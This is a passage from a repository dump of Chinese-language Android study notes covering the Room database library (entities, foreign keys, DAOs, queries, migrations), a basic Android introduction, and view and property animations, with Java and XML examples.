lastName;\n\n    @Ignore\n    Bitmap picture;\n}\n```\n\n索引和唯一性\n---\n\n根据访问数据库的方式，你可能想对特定的`field`建立索引来加速你的访问。下面这段代码展示了如何在`Entity`中添加索引或者复合索引:    \n```java\n@Entity(indices = {@Index(\"name\"),\n        @Index(value = {\"last_name\", \"address\"})})\nclass User {\n    @PrimaryKey\n    public int id;\n\n    public String firstName;\n    public String address;\n\n    @ColumnInfo(name = \"last_name\")\n    public String lastName;\n\n    @Ignore\n    Bitmap picture;\n}\n```\n\n下面的代码展示了对数据库中特定`field`设置唯一性(这个表中的`firstName`和`lastName`不能同时相同):\n```java\n@Entity(indices = {@Index(value = {\"first_name\", \"last_name\"},\n        unique = true)})\nclass User {\n    @PrimaryKey\n    public int id;\n\n    @ColumnInfo(name = \"first_name\")\n    public String firstName;\n\n    @ColumnInfo(name = \"last_name\")\n    public String lastName;\n\n    @Ignore\n    Bitmap picture;\n}\n```\n\n对象之间的关系\n---\n\n`SQLite`是关系型数据库，那么就可以在两个对象之间建立联系。大多数`ORM`库允许`Entity`对象互相引用，但`Room`明确禁止了这样做。[原因](https://developer.android.com/topic/libraries/architecture/room#no-object-references)\n\n既然不允许建立直接的关系，`Room`提供以外键的方式在两个`Entity`之间建立联系。\n\n外键\n---\n\n例如，有一个`Pet`类需要和`User`类建立关系，可以通过`@ForeignKey`来达到这个目的，代码如下:    \n```java\n@Entity(foreignKeys = @ForeignKey(entity = User.class,\n                                  parentColumns = \"id\",\n                                  childColumns = \"user_id\"))\nclass Pet {\n    @PrimaryKey\n    public int petId;\n\n    public String name;\n\n    @ColumnInfo(name = \"user_id\")\n    public int userId;\n}\n```\n\n\n外键可以允许你定义被引用的`Entity`更新时发生的行为。例如你可以定义当删除`User`时对应的`Pet`类也被删除。可以在`@ForeignKey`中添加`onDelete = CASCADE`实现。\n```\n@Insert(OnConflict = REPLACE)\n定义了REMOVE和REPLACE而不是简单的UPDATE操作。这样产生的后果会影响外键定义的约束行为，详细的信息可以参考 SQLite documentation。\n```\n\n获取关联的Entity\n---\n\n`Entity`之间可能也有一对多之间的关系。比如一个`User`有多个`Pet`，通过一次查询获取多个关联的`Pet`。\n\n```java\npublic class UserAndAllPets {\n    @Embedded\n    public User user;\n    @Relation(parentColumn = \"id\", entityColumn = \"user_id\")\n    public List<Pet> pets;\n}\n\n@Dao\npublic interface UserPetDao {\n    @Query(\"SELECT * from User\")\n    public List<UserAndAllPets> loadUserAndPets();\n}\n```\n\n使用 @Relation 注解的field必须是一个List或者一个Set。通常情况下， Entity 的类型是从返回类型中推断出来的，可以通过定义 entity()来定义特定的返回类型。\n用 @Relation 注解的field必须是public或者有public的setter。这是因为加载数据是分为两步的：1. 父Entity被查询 2. 触发用 @Relation 注解的entity的查询。所以，在上面UserAndAllPets例子中，首先User所在的数据库被查询，然后触发查询Pets的查询。即Room首先出创建一个空的对象，然后设置父Entity和一个空的list。在第二次查询后，Room将会填充这个list。\n\n\n对象嵌套对象\n---\n\n有时候需要在类里面把另一个类作为`field`，这时就需要使用`@Embedded`。这样就可以像查询其他列一样查询这个`field`。\n例如，`User`类可以包含一个`field Address`，代表`User`的地址包括所在街道、城市、州和邮编。代码如下:   \n\n```java\nclass Address {\n    public String street;\n    public String state;\n    public String city;\n\n    @ColumnInfo(name = \"post_code\")\n    public int postCode;\n}\n\n@Entity\nclass User {\n    @PrimaryKey\n    public int id;\n\n    public String firstName;\n\n    @Embedded\n    public Address address;\n}\n```\n在存放`User`的表中，包含的列名如下:`id,firstName,street,state,city,post_code`。\n`Embedded`的`field`中也可以包含其他`Embedded`的`field`。\n如果多个`Embedded`的`field`是类型相同的，可以通过设置`prefix`来保证列的唯一性。\n\n\n\nData Access Objects（DAOs）\n---\n\n`DAOs`是数据库访问的抽象层。\n`Dao`可以是一个接口也可以是一个抽象类。如果是抽象类，那么它可以接受一个`RoomDatabase`作为构造器的唯一参数。\n`Room`不允许在主线程中防伪数据库，除非在`builder`里面调用`allowMainThreadQueries()`。因为访问数据库是耗时的，可能阻塞主线程，引起`UI`卡顿。\n\n\n添加方便使用的方法:  \n\n`Insert`:使用`@Insert`注解的方法，`Room`将会生成插入的代码。\n\n```java\n@Dao\npublic interface MyDao {\n    @Insert(onConflict = OnConflictStrategy.REPLACE)\n    public void insertUsers(User... users);\n\n    @Insert\n    public void insertBothUsers(User user1, User user2);\n\n    @Insert\n    public void insertUsersAndFriends(User user, List<User> friends);\n}\n```\n如果`@Insert`方法只接受一个参数，那么将返回一个`long`，对应着插入的`rowId`。如果接受多个参数，或者数组，或者集合，那么就会返回一个`long`的数组或者`list`。\n\n\n`Update`    \n```java\n@Dao\npublic interface MyDao {\n    @Update\n    public void updateUsers(User... users);\n}\n```\n也可以让`update`方法返回一个`int`型的整数，代表被`update`的行号。\n\n`Delete`\n```java\n@Dao\npublic interface MyDao {\n    @Delete\n    public void deleteUsers(User... users);\n}\n```\n和`update`方法一样，也可以返回一个`int`型的整数，代表被`delete`的行号。\n\n\n使用@Query注解的方法\n---\n\n`@Query`注解的方法在编译时就会被检查，如果有任何查询的问题，都会抛出编译异常，而不是等到运行以后才会发现异常。\n`Room`也会检查查询返回值的类型，如果返回类型的字段和数据路列名存在不一致，会收到警告。如果两者完全不一致，就会产生错误。\n\n#### 简单的查询\n```java\n@Dao\npublic interface MyDao {\n    @Query(\"SELECT * FROM user\")\n    public User[] loadAllUsers();\n}\n```\n\n#### 带参数查询\n下面的代码显示了如何根据年龄条件查询`User`信息:  \n```java\n@Dao\npublic interface MyDao {\n    @Query(\"SELECT * FROM user WHERE age > :minAge\")\n    public User[] loadAllUsersOlderThan(int minAge);\n}\n```\n同理，这里也会在编译时做类型检查，如果表中没有`age`这个列，那么就会抛出错误。\n也可以穿入多个参数或一个参数作为多个约束条件查询用户:   \n```java\n@Dao\npublic interface MyDao {\n    @Query(\"SELECT * FROM user WHERE age BETWEEN :minAge AND :maxAge\")\n    public User[] loadAllUsersBetweenAges(int minAge, int maxAge);\n\n    @Query(\"SELECT * FROM user WHERE first_name LIKE :search \"\n           + \"OR last_name LIKE :search\")\n    public List<User> findUserWithName(String search);\n}\n```\n#### 返回列的子集\n\n有时可能只需要`Entity`的几个`field`，例如只需要获取`User`的姓名就行了。通过只获取这两列的数据不仅能够节省宝贵的资源，还能加快查询速度。\n`Room`也提供了这样的功能。   \n```java\npublic class NameTuple {\n    @ColumnInfo(name=\"first_name\")\n    public String firstName;\n\n    @ColumnInfo(name=\"last_name\")\n    public String lastName;\n}\n```\n```java\n@Dao\npublic interface MyDao {\n    @Query(\"SELECT first_name, last_name FROM user\")\n    public List<NameTuple> loadFullName();\n}\n```\n#### 可被观察的查询\n\n通过和`LiveData`的配合使用，就可以实现当数据库内容发生变化时自动收到变化后的数据的功能。\n```java\n@Dao\npublic interface MyDao {\n    @Query(\"SELECT first_name, last_name FROM user WHERE region IN (:regions)\")\n    public LiveData<List<User>> loadUsersFromRegionsSync(List<String> regions);\n}\n```\n\n使用RxJava实现响应式查询\n---\n\n`Room`也可以返回`RxJava2`中`Publisher`和`Flowable`\n格式的数据。如果需要使用这项功能，需要在`Gradle`中添加`android.arch.persistence.room:rxjava2`。\n```java\n@Dao\npublic interface MyDao {\n    @Query(\"SELECT * from user where id = :id LIMIT 1\")\n    public Flowable<User> loadUserById(int id);\n}\n```\n\n#### 直接获取Cursor\n```java\n@Dao\npublic interface MyDao {\n    @Query(\"SELECT * FROM user WHERE age > :minAge LIMIT 5\")\n    public Cursor loadRawUsersOlderThan(int minAge);\n}\n```\n#### 查询多个表\n\n有时可能需要查询多个表来获取结果，`Room`也定义这样的功能。下面这段代码演示了如何从一个包含借阅用户信息的表和一个包含已经被借阅的书的表中获取信息:  \n```java\n@Dao\npublic interface MyDao {\n    @Query(\"SELECT * FROM book \"\n           + \"INNER JOIN loan ON loan.book_id = book.id \"\n           + \"INNER JOIN user ON user.id = loan.user_id \"\n           + \"WHERE user.name LIKE :userName\")\n   public List<Book> findBooksBorrowedByNameSync(String userName);\n}\n```\n也可以从查询中返回POJO类。代码如下:   \n```java\n@Dao\npublic interface MyDao {\n   @Query(\"SELECT user.name AS userName, pet.name AS petName \"\n          + \"FROM user, pet \"\n          + \"WHERE user.id = pet.user_id\")\n   public LiveData<List<UserPet>> loadUserAndPetNames();\n\n   // You can also define this class in a separate file, as long as you add the\n   // \"public\" access modifier.\n   static class UserPet {\n       public String userName;\n       public String petName;\n   }\n}\n```\n\n#### 使用类型转换器\n\n如果想要在数据库中存储`Date`，可以存储等价的`Unix`时间戳。通过`TypeConverter`可以很方便的做到这一点:  \n```java\npublic class Converters {\n    @TypeConverter\n    public static Date fromTimestamp(Long value) {\n        return value == null ? null : new Date(value);\n    }\n\n    @TypeConverter\n    public static Long dateToTimestamp(Date date) {\n        return date == null ? null : date.getTime();\n    }\n}\n```\n这里定义了两个方法，将`Date`和`Unix`时间戳相互转换。`Room`支持存储`Long`类型的对象，这样就可以通过这种方法存储`Date`。\n接下来将`TypeConverter`添加到`AppDatabase`中，这样`Room`就能识别这种转换:   \n```java\n@Database(entities = {User.class}, version = 1)\n@TypeConverters({Converters.class})\npublic abstract class AppDatabase extends RoomDatabase {\n    public abstract UserDao userDao();\n}\n```\n接下来就可以像使用基本类型一样使用自定义类型的查询，比如：\n```java\n@Database(entities = {User.class}, version = 1)\n@TypeConverters({Converters.class})\npublic abstract class AppDatabase extends RoomDatabase {\n    public abstract UserDao userDao();\n}\n```\n\n```java\n@Dao\npublic interface UserDao {\n    ...\n    @Query(\"SELECT * FROM user WHERE birthday BETWEEN :from AND :to\")\n    List<User> findUsersBornBetweenDates(Date from, Date to);\n}\n```\n\n数据库迁移\n---\n\n随着业务的扩展有时候需要对数据库调整一些字段。当数据库升级时，需要保存已有的数据。\n`Room`使用`Migration`来实现数据库的迁移。每个`Migration`都指定了`startVersion`和`endVersion`。在运行的时候`Room`运行每个`Migration`的`migrate()`方法，按正确的顺序来迁移数据库到下个版本。如果没有提供足够的迁移信息，`Room`会重新创建数据库，这意味着将会失去原来保存的信息。\n```java\nRoom.databaseBuilder(getApplicationContext(), MyDb.class, \"database-name\")\n        .addMigrations(MIGRATION_1_2, MIGRATION_2_3).build();\n\nstatic final Migration MIGRATION_1_2 = new Migration(1, 2) {\n    @Override\n    public void migrate(SupportSQLiteDatabase database) {\n        database.execSQL(\"CREATE TABLE `Fruit` (`id` INTEGER, \"\n                + \"`name` TEXT, PRIMARY KEY(`id`))\");\n    }\n};\n\nstatic final Migration MIGRATION_2_3 = new Migration(2, 3) {\n    @Override\n    public void migrate(SupportSQLiteDatabase database) {\n        database.execSQL(\"ALTER TABLE Book \"\n                + \" ADD COLUMN pub_year INTEGER\");\n    }\n};\n```\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! `"
  },
  {
    "path": "docs/android/AndroidNote/ArchitectureComponents/7.PagingLibrary(七).md",
    "content": "7.PagingLibrary(七)\n===\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! `"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Android入门介绍.md",
    "content": "Android入门介绍\n===\n\n1. 3G、4G\n    - 第三代移动通信技术`(3rd - Generation)`，速率一般在几百`Kbps`，较之前的`2G`和`2.5G`在数据传输速度上有很大提升。\n    - 第四代移动通信技术`(4th - Generation)`，速度可达到100`Mbps`以上，几乎可以满足人们的所有传输数据的需求。\n    \n    目前主流的`3G`技术标准有三种：\n    - `WCDMA`：全球80%以上的`3G`网络都是采用此种制式。中国联通运营。186\n    - `CDMA2000`：目前日韩及北美使用较多。中国电信运营。 189\n    - `TD-SCDMA`：中国自主知识产权的3G通信技术。中国移动运营。 188 \n\n    目前主流的`4G`技术为`LTE`，但还没有被广泛应用：    \n    `GSM` → `GPRS` → `EDGE` → `WCDMA` → `HSDPA` → `HSDPA+` → `LTE`\n    \n2. Android是什么\n    1. 手机设备的软件栈内存，包括\n    \t- 一个完整的操作系统\n    \t- 中间件\n    \t- 关键的应用程序\n\t\n\t2. 底层是Linux内核\n    \t- 安全管理\n    \t- 内存管理\n    \t- 进程管理\n    \t- 电源管理\n    \t- 硬件驱动\n\n3. Android体系结构\n    - Applications:桌面、电话、浏览器等应用程序\n    - Applications Framework:ActivityManager、 WindowManager、ContentProvider、ResourceManager等     \n    - Libraries: SQLite库、SurfaceManager、WebKit、OppenGL等。\n        - Android运行时\n            - Core Libraries\n            - Dalvik Virtual Machine\n    - Linux Kernel: 硬件驱动、电源管理等\n\n4. Dalvik VM和JVM的区别\n    1. 编译后文件的格式： \n        - JVM: .java->.class->.jar\n        - Dalvik: .java->.class->.dex->.odex\n    2. 基于的架构不同\n        - JVM基于栈的架构(栈内存)\n        - Dalvik基于寄存器的架构(CPU)，执行效率比JVM要高\n    3. Dalvik专门针对移动平台进行优化     \n        JVM的jar包中会有很多class文件，每个class文件中都含有头信息、常量池、字段、方法等，而apk中只有一个dex，它里面包括了所有头信息、常量池、方法等。这样读取一个文件要比读取多个文件去找块。  \n\n5. CPU处理器架构\n    1. x86\n        - intel\n        - AMD\n    2. ARM\n        - 联发科\n        - 高通\n        - 海思\n        - 三星\n\n6. Android项目目录结构\n    1. src：源代码\n    2. gen：系统自动生成的文件，R.java 中记录了项目中各种资源ID\n    3. res：系统资源，所有文件都会在R文件生成资源ID\n        - drawable：图片\n        - layout：界面布局\n        - values：数据\n        - anim：定义动画的XML\n        - raw：原生文件\n    4. assets：资源路径，不会在R文件注册\n    5. project.properties：供Eclipse使用，读取该项目使用Android版本号，早期版本名为default.properties\n    6. AndroidManifest.xml：清单文件，在软件安装的时候被读取      \n        Android中的四大组件（Activity、ContentProvider、BroadcastReceiver、Service）都需要在该文件中注册程序所需的权限也需要在此文件中声明，例如：电话、短信、互联网、访问SD卡\n    7. bin：二进制文件，包括class、资源文件、dex、apk等\n    8. proguard.cfg：用来混淆代码的配置文件，防止别人反编译\n\n7. APK 安装过程\n    1. Eclipse将.java源文件编译成.class\n    2. 使用dx工具将所有.class文件转换为.dex文件\n    3. 再将.dex文件和所有资源打包并且签名成.apk文件\n    4. 将.apk文件安装到虚拟机完成程序安装\n    5. 启动程序 – 开启进程 – 开启主线程\n    6. 创建Activity对象 – 执行OnCreate()方法\n    7. 按照main.xml文件初始化界面\n\n    简单的来说软件的安装都是两个过程\n    - 拷贝apk中的一些文件到系统的某个目录      \n\t    1. `/data/app/`目录下   \n\t    2. 创建一个文件夹 `/data/data/com.test.helloworld/`来保存数据  \n    - 在系统的packages.xml文件(类似于Windows的注册表)中里面配置应用权限等一些信息.  `/data/system/packages.xml`\n    \n8. Android安全学    \n    Android安全学中的一个重要的设计点是在默认情况下应用程序没有权限执行对其它应用程序、操作系统或用户有害的操作。\n\t这些操作包括读/写用户的隐私数据（例如联系人或e-mail），读/写其它应用程序的文件，执行网络访问，保持设备活动，等等。 \n\t所有牵扯到付费或者可能与用户隐私相关的操作都要申请权限。\n\n9. 测试分类    \n    单元测试(Unit test) -> 功能测试( Function test) -> 集成测试(Intergation test)\n\t\n10. Android单元测试\n    - AndroidManifest.xml中进行配置,导入android的junit环境\n    - 编写测试类继承Android的测试父类,AndroidTestCase这个类( AndroidTestCase是为了去模拟一个手机的运行环境，这个类中有一个getContext方法能获取到当前测试类的应用上下文对象，所以这个方法必须要等到测试框架初始化完成后才可以去调用)\n    - 测试的方法名要求以小写的test开头,如不以test开头只能单独点这个方法运行,整体全部运行时没有这个方法，所有的测试方法都要抛出异常，要把异常抛给测试框架不能自己去捕获\n \n    注意:测试的代码也是只能在手机上跑,它是在手机上测试完之后又将信息发送到了eclipse中\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Android动画.md",
    "content": "Android动画\n===\n\n1. AlphaAnimation\n\n    ```java\n    RelativeLayout rl_splash = (RelativeLayout) findViewById(R.id.rl_splash);\n    //播放动画效果\n    AlphaAnimation animation = new AlphaAnimation(1.0f, 0.0f);\n    //设置Alpha动画的持续时间\n    animation.setDuration(2000);\n    //播放Alpha动画\n    rl_splash.setAnimation(animation);\n    ```\n\n2. RotateAnimation\n\n    ```java\n    //相对于自身的哪个位置旋转，这里是相对于自身的右下角\n    RotateAnimation ra = new RotateAnimation(0, 360,  //从哪旋转，旋转多少度\n            Animation.RELATIVE_TO_SELF, 1.0f, Animation.RELATIVE_TO_SELF,\n            1.0f);\n    ra.setDuration(800);\n    ra.setRepeatCount(Animation.INFINITE);\n    ra.setRepeatMode(Animation.RESTART);\n    iv_scan.startAnimation(ra);\n     ```\n3. ScaleAnimation(缩放动画)    \n     \n    ```java \n    ScaleAnimation(float fromX, float toX, float fromY, float toY) \n    Constructor to use when building a ScaleAnimation from code\n    ```\n\n4. TranslateAnimation(位移动画)     \n    \n    ```java\n    TranslateAnimation(int fromXType, float fromXValue, int toXType, float toXValue, int fromYType, float fromYValue, int toYType, float toYValue) \n    Constructor to use when building a TranslateAnimation from code\n    ```\n\n5. AnimationSet (多组动画)\n    \n    ```java\n    ScaleAnimation sa = new ScaleAnimation(0.2f, 1.0f, 0.4f,1.0f);//缩放的动画效果,1.0f就代表窗体的总宽或者高\n    sa.setDuration(400);\n    TranslateAnimation ta = new TranslateAnimation(//位移动的动画效果\n              Animation.RELATIVE_TO_SELF, 0,//指定这个位置是相对于谁\n              Animation.RELATIVE_TO_SELF, 0.1f,\n              Animation.RELATIVE_TO_SELF, 0,\n              Animation.RELATIVE_TO_SELF, 0);\n    ta.setDuration(300);\n    AnimationSet set = new AnimationSet(false);//如果想播放多种动画的组合，这里就要用到了AnimationSet\n    set.addAnimation(sa);\n    set.addAnimation(ta);\n    contentView.startAnimation(set); // 播放一组动画. \n    ```\n\n6. Frame动画     \n    在`SDK`中提到，不要在`onCreate`中调用`start`方法开始播放`Frame`动画，因为`AnimationDrawable`还没有完全跟`Window`相关联，如果想要界面显示时就开始播放帧动画的话，可以在`onWindowFocusChanged()`中调用`start()`。\n\n    - 在`drawable`目录下新建一个`xml`文件，内容如下:\n    \n        ```xml\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <animation-list xmlns:android=\"http://schemas.android.com/apk/res/android\"\n            android:oneshot=\"true\" > //onshot是指定是否循环播放\n            <item\n                android:drawable=\"@drawable/desktop_rocket_launch_1\"  //Frame动画的图片\n                android:duration=\"50\"/> //播放这个图片持续的时间\n            <item\n                android:drawable=\"@drawable/desktop_rocket_launch_2\"\n                android:duration=\"100\"/>\n        </animation-list>\n        ```\n    - 播放Frame动画\n    \n        ```java\n        AnimationDrawable rocketAnimation;\n        public void onCreate(Bundle savedInstanceState) {\n              super.onCreate(savedInstanceState);\n              setContentView(R.layout.main);\n              ImageView rocketImage = (ImageView) findViewById(R.id.iv);\n              rocketImage.setBackgroundResource(R.drawable.animlist); //将上边建的Frame动画的xml文件通过背景资源设置给图片\n              rocketAnimation = (AnimationDrawable) rocketImage.getBackground();  //获取到图片的背景资源\n        }\n        public void start(View view) {\n              if (!rocketAnimation.isRunning()) {\n                   rocketAnimation.start();  //播放\n              }\n        }\n        ```\n        \n7. 保持动画播放完成后的状态`animation.setFillAfter(true);`   \n\n    ```java\n    Interpolator //定义了动画的变化速度，可以实现匀速、正加速、负加速、无规则变加速度\n    AccelerateDecelerateInterpolator//先加速后减速。\n    AccelerateInterpolator//逐渐加速。    \n    LinearInterpolator//平稳不变的   \n    DecelerateInterpolator//逐渐减速\n    CycleInterpolator//曲线运动特效，要传递float型的参数。     \n    animation.setInterpolator(new LinearInterpolator());//指定动画的运行效果\n    ```\n\n上面所讲的动画都是`Android 3.0`之前的动画，也就是我们最先熟悉的`Frame`动画和`Tween`动画。\n\n从`3.0`开始又引入了一个新的动画叫做`Property`动画。并且针对这三种动画的动画模式分为:\n\n- `Property Animation` : 属性动画,从`Android 3.0`开始引进，更改的是对象的实际属性，而且属性动画不止可以应用于`View`还可以应用于任何对象。\n- `View Animation` : 指之前的`Tween`动画，`alpha scale translate rotate`等。为什么叫做`View Animation`呢？因为它只能应用于`View`对象，而且只支持一部分属性，如支持缩放旋转而不支持背景颜色的变化。对于`View Animation`而言，它只改变了`View`对象绘制的位置，而没有改变`View`对象本身的属性，比如，有一个200*200大小的`Button`，你用`Tween`动画给放大到500*500但是它的有效点击区域还是200*200。\n- `Drawable Animation` : 指之前的`Frame`动画。因为它是通过一帧帧的图片来播放的。\n    \n下面我们开始仔细讲解一下`Property Animation`\n---\n\n官方文档中是这样这样介绍属性动画的:      \n\n```\nThe property animation system is a robust framework that allows you to animate almost anything. You can define an animation to change any object property over time, regardless of whether it draws to the screen or not. A property animation changes a property's (a field in an object) value over a specified length of time. To animate something, you specify the object property that you want to animate, such as an object's position on the screen, how long you want to animate it for, and what values you want to animate between.\n```\n一个强大的框架。    \n\n在`Property Animation`中，可以对动画应用以下属性:   \n\n- `Duration`: 指定动画持续时间，默认时间是`300ms`      \n- `TimeInterpolation`: 一些效果，如加速、加速等。\n- `Repeat count and behavior `: 重复次数已经\n- `Animation Set`: 动画合集。用来同时或者顺序播放多个动画。\n- `Frame Refresh Delay`: 多长时间刷新一次，默认是`10ms`。\n\n### `ValueAnimator`    \n\n\n`ValueAnimator`包含`Property Animation`动画的所有核心功能，如动画时间，开始、结束属性值，相应时间属性值计算方法等。应用`Property Animation`有两个步聚：       \n\n- 计算属性值\n- 根据属性值执行相应的动作，如改变对象的某一属性。\n\n`ValuAnimiator`只完成了第一步工作，如果要完成第二步，需要实现`ValueAnimator.onUpdateListener`接口，这个接口只有一个函数`onAnimationUpdate()`，在这个函数中会传入`ValueAnimator`对象做为参数，通过这个`ValueAnimator`对象的`getAnimatedValue()`函数可以得到当前的属性值。\n\n### `ObjectAnimator`   \n\n继承自`ValueAnimator`，要指定一个对象及该对象的一个属性，当属性值计算完成时自动设置为该对象的相应属性，即完成了`Property Animation`的全部两步操作。实际应用中一般都会用`ObjectAnimator`来改变某一对象的某一属性，但用`ObjectAnimator`有一定的限制，要想使用`ObjectAnimator`，应该满足以下条件：\n\n- 对象应该有一个`setter`函数：`set<PropertyName>`（驼峰命名法）\n- 如上面的例子中，像`ofFloat`之类的工场方法，第一个参数为对象名，第二个为属性名，后面的参数为可变参数，如果`values…`参数只设置了一个值的话，那么会假定为目的值，属性值的变化范围为当前值到目的值，为了获得当前值，该对象要有相应属性的`getter`方法：`get<PropertyName>`\n- 如果有`getter`方法，其应返回值类型应与相应的`setter`方法的参数类型一致。\n- `object`的`setXxx`对属性`xxx`所做的改变必须能够通过某种方法反映出来，比如会带来`ui`的改变啥的（如果这条不满足，动画无效果）,例如我对`TextView`或者`Button`使用`width`的`ObjectAnimator`动画，就会发现无效，虽然他们都有`setWidth`和`getWidth`方法，但是`setWidth`方法的内部实现是改变`TextView`的最大宽度和最小宽度的，和`TextView`的宽度不是一个东西。所以动画就会无效。确切的说`TextView`的宽度对应的是`xml`中`android:layout_width`属性，而`TextView`还有另外一个属性:`android:width`，而`android:width` 属性对应的就是`TextView`中的`setWidth`方法。\n\n如果上述条件不满足，则不能用`ObjectAnimator`，应用`ValueAnimator`代替。\n也就是说`ObjectAnimator`内部的工作机制是通过寻找特定属性的`get`和`set`方法，然后通过方法不断地对值进行改变，从而实现动画效果的。\n\n### `AnimationSet`\n\n\n`AnimationSet`提供了一个把多个动画组合成一个组合的机制，并可设置组中动画的时序关系，如同时播放，顺序播放等。\n\n以下例子同时应用5个动画:   \n\n- Plays bounceAnim.\n- Plays squashAnim1, squashAnim2, stretchAnim1, and stretchAnim2 at the same time.\n- Plays bounceBackAnim.\n- Plays fadeAnim.\n\n```java\nAnimatorSet bouncer = new AnimatorSet();\nbouncer.play(bounceAnim).before(squashAnim1);\nbouncer.play(squashAnim1).with(squashAnim2);\nbouncer.play(squashAnim1).with(stretchAnim1);\nbouncer.play(squashAnim1).with(stretchAnim2);\nbouncer.play(bounceBackAnim).after(stretchAnim2);\nValueAnimator fadeAnim = ObjectAnimator.ofFloat(newBall, \"alpha\", 1f, 0f);\nfadeAnim.setDuration(250);\nAnimatorSet animatorSet = new AnimatorSet();\nanimatorSet.play(bouncer).before(fadeAnim);\nanimatorSet.start();\n```\n\n### `TypeEvalutors`\n\n\n根据属性的开始、结束值与`TimeInterpolation`计算出的比例值来计算当前时间对应的属性值，`Android`提供了一下几种`evalutor`:    \n\n- `IntEvalutor`:`int`类型的属性值\n- `FloatEvaluator`:\n- `ArgbEvaluator`: 属性的值类型为十六进制颜色值；\n- `TypeEvaluator`: 一个接口，可以通过实现该接口自定义Evaluator。\n自定义`TypeEvaluator`也很简单，只需要实现一个方法，如`FloatEvalutor`的定义:     \n```java\npublic class FloatEvaluator implements TypeEvaluator {\n    public Object evaluate(float fraction, Object startValue, Object endValue) {\n        float startFloat = ((Number) startValue).floatValue();\n        return startFloat + fraction * (((Number) endValue).floatValue() - startFloat);\n    }\n}\n```\n`evaluate()`方法当中传入了三个参数，第一个参数`fraction`非常重要，这个参数用于表示动画的完成度的，我们应该根据它来计算当前动画的值应该是多少，第二第三个参数分别表示动画的初始值和结束值。那么上述代码的逻辑就比较清晰了，用结束值减去初始值，算出它们之间的差值，然后乘以`fraction`这个系数，再加上初始值，那么就得到当前动画的值了。\n\n\n### `TimeInterplator`   \nTime interplator定义了属性值变化的方式，如线性均匀改变，开始慢然后逐渐快等。在Property Animation中是TimeInterplator，在View Animation中是Interplator，这两个是一样的，在3.0之前只有Interplator，3.0之后实现代码转移至了TimeInterplator。Interplator继承自TimeInterplator，内部没有任何其他代码。\n\n- AccelerateInterpolator　　　　　     加速，开始时慢中间加速\n- DecelerateInterpolator　　　 　　   减速，开始时快然后减速\n- AccelerateDecelerateInterolator　   先加速后减速，开始结束时慢，中间加速\n- AnticipateInterpolator　　　　　　  反向 ，先向相反方向改变一段再加速播放\n- AnticipateOvershootInterpolator　   反向加回弹，先向相反方向改变，再加速播放，会超出目的值然后缓慢移动至目的值\n- BounceInterpolator　　　　　　　  跳跃，快到目的值时值会跳跃，如目的值100，后面的值可能依次为85，77，70，80，90，100\n- CycleIinterpolator　　　　　　　　 循环，动画循环一定次数，值的改变为一正弦函数：Math.sin(2 * mCycles * Math.PI * input)\n- LinearInterpolator　　　　　　　　 线性，线性均匀改变\n- OvershottInterpolator　　　　　　  回弹，最后超出目的值然后缓慢改变到目的值\n- TimeInterpolator　　　　　　　　   一个接口，允许你自定义interpolator，以上几个都是实现了这个接口\n\n\n### `PropertyValuesHolder`\n\n如果要实现一个对象不同属性的动画效果，除了`Set`，我们还可以利用`PropertyValuesHolder`和`ViewPropertyAnimator`对象来实现，具体做法如下：\n```\nPropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(\"x\", 50f);\nPropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(\"y\", 100f);\nObjectAnimator.ofPropertyValuesHolder(myView, pvhX, pvyY).start();\n```\n\n### `ViewPropertyAnimator`\n```\n * <p>This class is not constructed by the caller, but rather by the View whose properties\n * it will animate. Calls to {@link android.view.View#animate()} will return a reference\n * to the appropriate ViewPropertyAnimator object for that View.</p>\n```\n如果需要对一个View的多个属性进行动画可以用ViewPropertyAnimator类，该类对多属性动画进行了优化，会合并一些invalidate()来减少刷新视图，该类在3.1中引入。\n\n`view.animate()`方法会返回`ViewPropertyAnimator`类。\n```java\nmyView.animate().x(50f).y(100f);\n```\n的效果与上面的`PropertyValuesHolder`例子中的效果完全一致。\n但是你有没有发现我们自始至终没有调用过`start()`方法，这是因为新的接口中使用了隐式启动动画的功能，只要我们将动画定义完成之后，动画就会自动启动。并且这个机制对于组合动画也同样有效，只要我们不断地添加新的方法，那么动画就不会立刻执行，等到所有在`ViewPropertyAnimator`上设置的方法都执行完毕后，动画就会自动启动。当然如果不想使用这一默认机制的话，我们也可以显式地调用`start()`方法来启动动画。\n\n\n\n### `XML`中定义\n\n在`res/animator`中定义对应的动画`xml`       \n- <animator>  对应代码中的ValueAnimator\n- <objectAnimator>  对应代码中的ObjectAnimator\n- <set>  对应代码中的AnimatorSet \n例如:       \n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n<objectAnimator   \n    xmlns:android=\"http://schemas.android.com/apk/res/android\"   \n    android:propertyName=\"scaleX\"  \n    android:duration=\"2000\"  \n    android:valueFrom=\"1.0\"  \n    android:valueTo=\"2.0\"  \n    android:valueType=\"floatType\" \n    android:repeatCount=\"1\"  \n    android:repeatMode=\"reverse\">  \n</objectAnimator>  \n```\n这里说明一下`valueFrom`和`valueTo`:是动画开始和结束值，如果我们缩放，则它们对应的是倍数，如果我们平移则对应的就是距离了。\n\n接下来就是调用了\n```java\nscaleXAnimator = (ObjectAnimator)AnimatorInflater.loadAnimator(this, R.animator.scalex);  \nscaleXAnimator.setTarget(btnScaleX);  \nscaleXAnimator.start();\n```\n\n那如果我们要播放多个动画怎么办?  \n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n<set xmlns:android=\"http://schemas.android.com/apk/res/android\"   \n    android:ordering=\"together\">  \n    <objectAnimator  \n        android:duration=\"2000\"  \n        android:propertyName=\"scaleX\"  \n        android:repeatCount=\"1\"  \n        android:repeatMode=\"reverse\"  \n        android:valueFrom=\"1.0\"  \n        android:valueTo=\"2.0\" >  \n    </objectAnimator>  \n    <objectAnimator  \n        android:duration=\"2000\"  \n        android:propertyName=\"scaleY\"  \n        android:repeatCount=\"1\"  \n        android:repeatMode=\"reverse\"  \n        android:valueFrom=\"1.0\"  \n        android:valueTo=\"2.0\" >  \n    </objectAnimator>  \n</set>  \n```\n```java\nanimatorScaleSet = (AnimatorSet)AnimatorInflater.loadAnimator(this, R.animator.scale);  